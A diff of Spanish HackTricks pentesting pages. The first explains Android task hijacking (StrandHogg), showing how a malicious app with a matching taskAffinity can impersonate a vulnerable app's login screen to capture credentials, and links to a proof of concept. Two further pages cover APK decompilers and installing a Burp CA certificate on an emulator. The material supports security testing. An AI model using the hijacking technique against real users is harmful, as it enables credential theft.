Por defecto, cada actividad tiene la misma afinidad que el nombre del **paquete**.
|
||||
|
||||
Usaremos esto al crear nuestra aplicación PoC.
|
||||
```markup
|
||||
<activity android:taskAffinity=""/>
|
||||
```
|
||||
Los modos de lanzamiento permiten definir cómo se asocia una nueva instancia de una actividad con la tarea actual. El atributo `launchMode` especifica una instrucción sobre cómo se debe lanzar la actividad en una tarea. Hay cuatro modos de lanzamiento diferentes:
|
||||
|
||||
1. estándar (predeterminado)
|
||||
2. singleTop
|
||||
3. **singleTask**
|
||||
4. singleInstance
|
||||
|
||||
Cuando el `launchMode` se establece en `singleTask`, el sistema Android evalúa tres posibilidades y una de ellas es la razón por la cual nuestro ataque es posible. Aquí están:
|
||||
|
||||
* **Si la instancia de la actividad ya existe**:\
|
||||
Android reanuda la instancia existente en lugar de crear una nueva. Esto significa que hay como máximo una instancia de actividad en el sistema bajo este modo.
|
||||
* **Si es necesario crear una nueva instancia de actividad**:\
|
||||
El Servicio de Administrador de Actividades (AMS) selecciona una tarea para alojar la instancia recién creada encontrando una tarea "coincidente" en todas las tareas existentes. **Una actividad "coincide" con una tarea si tienen la misma afinidad de tarea**. Esta es la razón por la cual podemos **especificar la misma afinidad de tarea que la aplicación vulnerable en nuestra aplicación de malware/atacante para que se lance en su tarea en lugar de crear la suya propia**.
|
||||
* **Sin encontrar una tarea "coincidente"**:\
|
||||
El AMS crea una nueva tarea y hace que la nueva instancia de actividad sea la actividad raíz de la tarea recién creada.
|
||||
|
||||
## Ataque
|
||||
|
||||
La víctima necesita tener la **aplicación maliciosa** **instalada** en su dispositivo. Luego, necesita **abrirla** **antes** de abrir la **aplicación vulnerable**. Luego, cuando se **abre** la **aplicación vulnerable**, la **aplicación maliciosa** se **abrirá en su lugar**. Si esta aplicación maliciosa presenta el **mismo inicio de sesión** que la aplicación vulnerable, el **usuario no tendrá ningún medio para saber que está ingresando sus credenciales en una aplicación maliciosa**.
|
||||
|
||||
**Puede encontrar un ataque implementado aquí:** [**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)
|
||||
|
||||
# Prevención del secuestro de tareas
|
||||
|
||||
Establecer `taskAffinity=""` puede ser una solución rápida para este problema. El modo de lanzamiento también se puede establecer en **singleInstance** si la aplicación no desea que otras actividades se unan a las tareas que le pertenecen. También se puede agregar una función personalizada **onBackPressed()** para anular el comportamiento predeterminado.
|
||||
|
||||
# **Referencias**
|
||||
|
||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
139
mobile-pentesting/android-app-pentesting/apk-decompilers.md
Normal file
139
mobile-pentesting/android-app-pentesting/apk-decompilers.md
Normal file
|
@ -0,0 +1,139 @@
|
|||
# Decompiladores de APK
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
||||
|
||||
El primer decompilador de Java con interfaz gráfica famoso, se puede utilizar para investigar el código Java del APK una vez que lo hayas obtenido.
|
||||
|
||||
## [Jadx](https://github.com/skylot/jadx)
|
||||
|
||||
Construido en Java (multiplataforma) y en este momento creo que es el recomendado.\
|
||||
Solo **descarga** la **última** versión y ejecútalo desde la carpeta _**bin**_:
|
||||
```
|
||||
jadx-gui
|
||||
```
|
||||
Usando la interfaz gráfica de usuario puedes realizar una **búsqueda de texto**, ir a las **definiciones de funciones** (_CTRL + clic izquierdo_ en la función) y referencias cruzadas (_clic derecho_ --> _Buscar uso_)
|
||||
|
||||
Si **sólo quieres** el **código java** pero sin usar una interfaz gráfica, una forma muy sencilla es usar la herramienta de línea de comandos jadx:
|
||||
```
|
||||
jadx app.apk
|
||||
```
|
||||
Algunas **opciones interesantes de jadx** (versiones GUI y CLI) son:
|
||||
```
|
||||
-d <path to output dir>
|
||||
--no-res #No resources
|
||||
--no-src #No source code
|
||||
--no-imports #Always write entire package name (very useful to know where is the function that you might want to hook)
|
||||
```
|
||||
## [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
||||
|
||||
GDA es también una plataforma de análisis inverso rápida y poderosa. No solo admite la operación básica de descompilación, sino también muchas funciones excelentes como **detección de comportamiento malicioso, detección de fugas de privacidad, detección de vulnerabilidades, resolución de rutas, identificación de empaquetadores, análisis de seguimiento de variables, desofuscación, scripts de Python y Java, extracción de memoria del dispositivo, cifrado y descifrado de datos**, etc.
|
||||
|
||||
**Solo para Windows.**
|
||||
|
||||
![](<../../.gitbook/assets/image (207) (1) (1).png>)
|
||||
|
||||
## [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
||||
|
||||
Otra **herramienta interesante para realizar un análisis estático es**: [**bytecode-viewer**](https://github.com/Konloch/bytecode-viewer/releases)**.** Te permite descompilar el APK usando **varios descompiladores al mismo tiempo**. Luego, puedes ver, por ejemplo, 2 descompiladores de Java diferentes y un descompilador de Smali. También te permite **modificar** el código:
|
||||
|
||||
![](<../../.gitbook/assets/image (82).png>)
|
||||
|
||||
Si modificas el código, entonces puedes **exportarlo**.\
|
||||
Una mala cosa de bytecode-viewer es que **no tiene referencias** o **referencias cruzadas**.
|
||||
|
||||
## [**Enjarify**](https://github.com/Storyyeller/enjarify)
|
||||
|
||||
Enjarify es una herramienta para traducir el bytecode de Dalvik al bytecode de Java equivalente. Esto permite que las herramientas de análisis de Java analicen aplicaciones de Android.\
|
||||
Dex2jar es una herramienta más antigua que también intenta traducir Dalvik al bytecode de Java. Funciona razonablemente bien la mayor parte del tiempo, pero muchas características oscuras o casos extremos harán que falle o incluso produzca resultados incorrectos en silencio. En cambio, Enjarify está diseñado para funcionar en tantos casos como sea posible, incluso para el código donde Dex2jar fallaría. Entre otras cosas, Enjarify maneja correctamente los nombres de clase Unicode, las constantes utilizadas como múltiples tipos, las conversiones implícitas, los manejadores de excepciones que saltan al flujo de control normal, las clases que hacen referencia a demasiadas constantes, los métodos muy largos, los manejadores de excepciones después de un manejador de captura todo y los valores iniciales estáticos del tipo incorrecto.
|
||||
|
||||
## [CFR](https://github.com/leibnitz27/cfr)
|
||||
|
||||
CFR descompilará las características modernas de Java, [incluyendo gran parte de Java](https://www.benf.org/other/cfr/java9observations.html) [9](https://github.com/leibnitz27/cfr/blob/master/java9stringconcat.html), [12](https://www.benf.org/other/cfr/switch\_expressions.html) y [14](https://www.benf.org/other/cfr/java14instanceof\_pattern), pero está escrito completamente en Java 6, ¡así que funcionará en cualquier lugar! ([FAQ](https://www.benf.org/other/cfr/faq.html)) - ¡Incluso hará un buen trabajo convirtiendo archivos de clase de otros lenguajes JVM de vuelta a Java!
|
||||
|
||||
Ese archivo JAR se puede usar de la siguiente manera:
|
||||
```
|
||||
java -jar ./cfr.jar "$JARFILE" --outputdir "$OUTDIR"
|
||||
```
|
||||
Para archivos JAR más grandes, encontré que se quedaba sin memoria. Si eso también te sucede, simplemente puedes adaptar el tamaño del pool de asignación de memoria de la JVM.
|
||||
```
|
||||
java -Xmx4G -jar ./cfr.jar "$JARFILE" --outputdir "$OUTDIR"
|
||||
```
|
||||
Este ejemplo permitirá asignar un máximo de 4GB.
|
||||
|
||||
En el directorio de salida, encontrarás los archivos `.java` descompilados, junto con un resumen de la descompilación.
|
||||
|
||||
## [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
||||
|
||||
A continuación, tenemos [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine), que forma parte de [IntelliJ IDEA](https://www.jetbrains.com/idea/). Todo el mundo menciona que es un descompilador _analítico_ (como se indica en su descripción del proyecto), pero nadie señala lo que esto realmente significa. Solo encontré [esta pregunta de Stackoverflow](https://stackoverflow.com/q/62298929), que lamentablemente sigue sin respuesta hasta hoy.
|
||||
|
||||
De todos modos, como no hay versiones autocontenidas, necesitas construirlo tú mismo. Como proyecto basado en [Gradle](https://gradle.org), puedes clonarlo y luego ejecutar el siguiente comando siempre y cuando Gradle esté instalado en tu máquina.
|
||||
```
|
||||
cd ./plugins/java-decompiler/engine && gradle jar
|
||||
```
|
||||
Aquí, primero cambiamos nuestro directorio de trabajo al directorio raíz de Fernflower. Luego, instruimos a Gradle para que construya el archivo `./build/libs/fernflower.jar`.
|
||||
|
||||
La invocación de Fernflower es similar a la de CFR.
|
||||
```
|
||||
java -jar ./fernflower.jar "$JARFILE" "$OUTDIR"
|
||||
```
|
||||
Entre los descompiladores descritos aquí, este es el único que genera archivos `.java` en un archivo JAR. Puedes extraer fácilmente los archivos fuente usando `unzip`.
|
||||
|
||||
## [Krakatau](https://github.com/Storyyeller/Krakatau)
|
||||
|
||||
¿Recuerdas Enjarify de arriba? El mismo autor es también el desarrollador de un descompilador llamado [Krakatau](https://github.com/Storyyeller/Krakatau).
|
||||
|
||||
En contraste con los otros proyectos, este está escrito en Python. Y creo que esta es la razón por la que es un poco diferente de los demás.
|
||||
|
||||
Permíteme citar [el README del proyecto](https://github.com/Storyyeller/Krakatau/blob/master/README.md).
|
||||
|
||||
> A continuación, asegúrate de tener archivos JAR que contengan definiciones para cualquier clase externa (es decir, bibliotecas) que pueda ser referenciada por el archivo JAR que estás intentando descompilar. Esto incluye las clases de la biblioteca estándar (es decir, JRT).
|
||||
|
||||
Y según la descripción, estas clases de biblioteca estándar vienen con la versión 8 de Java en forma del archivo `rt.jar`. Para versiones posteriores, el autor proporciona [jrt-extractor](https://github.com/Storyyeller/jrt-extractor), que puede generar este archivo para nosotros.
|
||||
|
||||
Así que descargamos esa herramienta y ejecutamos los siguientes comandos.
|
||||
```
|
||||
cd ./jrt-extractor
|
||||
javac JRTExtractor.java
|
||||
java -ea JRTExtractor
|
||||
```
|
||||
Esto debería haber escrito un archivo `rt.jar` dentro del directorio.
|
||||
|
||||
Dado este archivo, podemos ejecutar Krakatau de la siguiente manera.
|
||||
```
|
||||
./Krakatau/decompile.py -out "$OUTDIR" -skip -nauto -path ./jrt-extractor/rt.jar "$JARFILE"
|
||||
```
|
||||
Permíteme referirme al GitHub del proyecto para una explicación de los parámetros. Solo ten en cuenta que para cualquier biblioteca utilizada por tu archivo JAR, Krakatau requerirá que la agregues como un archivo JAR en la bandera `-path`.
|
||||
|
||||
## [procyon](https://github.com/mstrobel/procyon)
|
||||
|
||||
Una vez instalado, su uso es sencillo.
|
||||
```
|
||||
procyon -jar "$JARFILE" -o "$OUTDIR"
|
||||
```
|
||||
## Referencias
|
||||
|
||||
{% embed url="https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,243 @@
|
|||
# AVD - Dispositivo Virtual de Android
|
||||
|
||||
## AVD - Dispositivo Virtual de Android
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Muchas gracias a [**@offsecjay**](https://twitter.com/offsecjay) por su ayuda en la creación de este contenido.
|
||||
|
||||
## ¿Qué es?
|
||||
|
||||
Android Studio permite **ejecutar máquinas virtuales de Android que se pueden utilizar para probar APKs**. Para poder utilizarlas, necesitarás:
|
||||
|
||||
* Las **herramientas del kit de desarrollo de software (SDK) de Android** - [Descargar aquí](https://developer.android.com/studio/releases/sdk-tools).
|
||||
* O **Android Studio** (con las herramientas del kit de desarrollo de software de Android) - [Descargar aquí](https://developer.android.com/studio).
|
||||
|
||||
En Windows (en mi caso) **después de instalar Android Studio**, las **herramientas del kit de desarrollo de software (SDK)** se instalaron en: `C:\Users\<NombreDeUsuario>\AppData\Local\Android\Sdk\tools`
|
||||
|
||||
## JDK
|
||||
|
||||
Para las máquinas MacOS, te recomiendo que instales la siguiente versión para poder utilizar los comandos de la línea de comandos mencionados en las siguientes secciones:
|
||||
```bash
|
||||
brew install openjdk@8
|
||||
```
|
||||
## GUI
|
||||
|
||||
### Preparar Máquina Virtual
|
||||
|
||||
Si has instalado Android Studio, simplemente abre la vista principal del proyecto y accede a: _**Herramientas**_ --> _**Administrador de AVD**_.
|
||||
|
||||
![](<../../.gitbook/assets/image (330).png>)
|
||||
|
||||
Luego, haz clic en _**Crear dispositivo virtual**_, _**selecciona**_ el teléfono que deseas utilizar y haz clic en _**Siguiente**_.\
|
||||
En la vista actual, vas a poder **seleccionar y descargar la imagen de Android** que el teléfono va a ejecutar:
|
||||
|
||||
![](<../../.gitbook/assets/image (331).png>)
|
||||
|
||||
Así que, selecciónala y haz clic en _**Descargar**_ (**ahora espera hasta que se descargue la imagen**).\
|
||||
**Una vez que se haya descargado la imagen, simplemente selecciona \_**Siguiente\*\*\_ y \_**Finalizar**\_.
|
||||
|
||||
![](<../../.gitbook/assets/image (332).png>)
|
||||
|
||||
La máquina virtual será creada. Ahora **cada vez que accedas al administrador de AVD, estará presente**.
|
||||
|
||||
### Ejecutar Máquina Virtual
|
||||
|
||||
Para **ejecutarla**, simplemente presiona el _**botón de inicio**_.
|
||||
|
||||
![](<../../.gitbook/assets/image (334).png>)
|
||||
|
||||
## Herramienta de Línea de Comandos
|
||||
|
||||
### Preparar Máquina Virtual
|
||||
|
||||
{% hint style="info" %}
|
||||
En sistemas **MacOS**, el ejecutable se encuentra en `/Users/<nombre_de_usuario>/Library/Android/sdk/tools/bin`
|
||||
{% endhint %}
|
||||
|
||||
En primer lugar, necesitas **decidir qué teléfono quieres usar**, para ver la lista de posibles teléfonos, ejecuta:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
|
||||
|
||||
id: 0 or "tv_1080p"
|
||||
Name: Android TV (1080p)
|
||||
OEM : Google
|
||||
Tag : android-tv
|
||||
---------
|
||||
id: 1 or "tv_720p"
|
||||
Name: Android TV (720p)
|
||||
OEM : Google
|
||||
Tag : android-tv
|
||||
---------
|
||||
id: 2 or "wear_round"
|
||||
Name: Android Wear Round
|
||||
OEM : Google
|
||||
Tag : android-wear
|
||||
---------
|
||||
id: 3 or "wear_round_chin_320_290"
|
||||
Name: Android Wear Round Chin
|
||||
OEM : Google
|
||||
Tag : android-wear
|
||||
---------
|
||||
id: 4 or "wear_square"
|
||||
Name: Android Wear Square
|
||||
OEM : Google
|
||||
Tag : android-wear
|
||||
---------
|
||||
id: 5 or "Galaxy Nexus"
|
||||
Name: Galaxy Nexus
|
||||
OEM : Google
|
||||
---------
|
||||
id: 6 or "Nexus 10"
|
||||
Name: Nexus 10
|
||||
OEM : Google
|
||||
---------
|
||||
id: 7 or "Nexus 4"
|
||||
Name: Nexus 4
|
||||
OEM : Google
|
||||
---------
|
||||
id: 8 or "Nexus 5"
|
||||
Name: Nexus 5
|
||||
OEM : Google
|
||||
---------
|
||||
id: 9 or "Nexus 5X"
|
||||
Name: Nexus 5X
|
||||
OEM : Google
|
||||
```
|
||||
Una vez que hayas decidido el nombre del dispositivo que deseas utilizar, necesitas **decidir qué imagen de Android quieres ejecutar en este dispositivo.**\
|
||||
Puedes listar todas las opciones usando `sdkmanager`:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
|
||||
```
|
||||
Y **descarga** el que quieras usar (o todos) con:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
|
||||
```
|
||||
Una vez que hayas descargado la imagen de Android que deseas utilizar, puedes **listar todas las imágenes de Android descargadas** con:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
|
||||
----------
|
||||
id: 1 or "android-28"
|
||||
Name: Android API 28
|
||||
Type: Platform
|
||||
API level: 28
|
||||
Revision: 6
|
||||
----------
|
||||
id: 2 or "android-29"
|
||||
Name: Android API 29
|
||||
Type: Platform
|
||||
API level: 29
|
||||
Revision: 4
|
||||
```
|
||||
En este momento has decidido el dispositivo que deseas utilizar y has descargado la imagen de Android, por lo que **puedes crear la máquina virtual utilizando**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
|
||||
```
|
||||
En el último comando **creé una VM llamada** "_AVD9_" usando el **dispositivo** "_Nexus 5X_" y la **imagen de Android** "_system-images;android-28;google\_apis;x86\_64_".\
|
||||
Ahora puedes **listar las máquinas virtuales** que has creado con:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
|
||||
|
||||
Name: AVD9
|
||||
Device: Nexus 5X (Google)
|
||||
Path: C:\Users\cpolo\.android\avd\AVD9.avd
|
||||
Target: Google APIs (Google Inc.)
|
||||
Based on: Android API 28 Tag/ABI: google_apis/x86_64
|
||||
|
||||
The following Android Virtual Devices could not be loaded:
|
||||
Name: Pixel_2_API_27
|
||||
Path: C:\Users\cpolo\.android\avd\Pixel_2_API_27_1.avd
|
||||
Error: Google pixel_2 no longer exists as a device
|
||||
```
|
||||
### Ejecutar Máquina Virtual
|
||||
|
||||
Ya hemos visto cómo se pueden listar las máquinas virtuales creadas, pero **también se pueden listar usando**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
|
||||
AVD9
|
||||
Pixel_2_API_27
|
||||
```
|
||||
Simplemente puedes **ejecutar cualquier máquina virtual creada** usando:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
|
||||
```
|
||||
O utilizando opciones más avanzadas, puedes ejecutar una máquina virtual como:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
### Opciones de línea de comandos
|
||||
|
||||
Sin embargo, hay **muchas opciones útiles de línea de comandos diferentes** que se pueden utilizar para iniciar una máquina virtual. A continuación, se pueden encontrar algunas opciones interesantes, pero se puede [**encontrar una lista completa aquí**](https://developer.android.com/studio/run/emulator-commandline)
|
||||
|
||||
**Arranque**
|
||||
|
||||
* `-snapshot name` : Iniciar instantánea de la VM
|
||||
* `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Enumerar todas las instantáneas grabadas
|
||||
|
||||
**Red**
|
||||
|
||||
* `-dns-server 192.0.2.0, 192.0.2.255` : Permite indicar los servidores DNS separados por comas a la VM.
|
||||
* **`-http-proxy 192.168.1.12:8080`** : Permite indicar un proxy HTTP para usar (muy útil para capturar el tráfico usando Burp)
|
||||
* `-port 5556` : Establecer el número de puerto TCP que se utiliza para la consola y adb.
|
||||
* `-ports 5556,5559` : Establecer los puertos TCP utilizados para la consola y adb.
|
||||
* **`-tcpdump /path/dumpfile.cap`** : Capturar todo el tráfico en un archivo
|
||||
|
||||
**Sistema**
|
||||
|
||||
* `-selinux {disabled|permissive}` : Establecer el módulo de seguridad de Linux mejorado (SELinux) en modo desactivado o permisivo en un sistema operativo Linux.
|
||||
* `-timezone Europe/Paris` : Establecer la zona horaria para el dispositivo virtual
|
||||
* `-screen {touch(default)|multi-touch|o-touch}` : Establecer el modo de pantalla táctil emulado.
|
||||
* **`-writable-system`** : Use esta opción para tener una imagen de sistema escribible durante su sesión de emulación. También deberá ejecutar `adb root; adb remount`. Esto es muy útil para instalar un nuevo certificado en el sistema.
|
||||
|
||||
## Instalar el certificado Burp en una máquina virtual
|
||||
|
||||
En primer lugar, es necesario descargar el certificado Der de Burp. Se puede hacer esto en _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
|
||||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**Exporte el certificado en formato Der** y **transformémoslo** a una forma que **Android** pueda **entender.** Tenga en cuenta que **para configurar el certificado de burp en la máquina Android en AVD** es necesario **ejecutar** esta máquina **con** la opción **`-writable-system`**.\
|
||||
Por ejemplo, se puede ejecutar así:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
Entonces, para **configurar el certificado de Burp**, haz lo siguiente:
|
||||
```bash
|
||||
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
|
||||
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
|
||||
mv burp_cacert.pem $CERTHASHNAME #Correct name
|
||||
adb root && adb remount #Allow to write on /syste
|
||||
adb push $CERTHASHNAME /sdcard/ #Upload certificate
|
||||
adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correct location
|
||||
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
|
||||
adb reboot #Now, reboot the machine
|
||||
```
|
||||
Una vez que la **máquina termine de reiniciarse**, el certificado de Burp estará en uso por ella.
|
||||
|
||||
## Tomar una instantánea
|
||||
|
||||
Puede **usar la GUI** para tomar una instantánea de la VM en cualquier momento:
|
||||
|
||||
![](<../../.gitbook/assets/image (336).png>)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,56 @@
|
|||
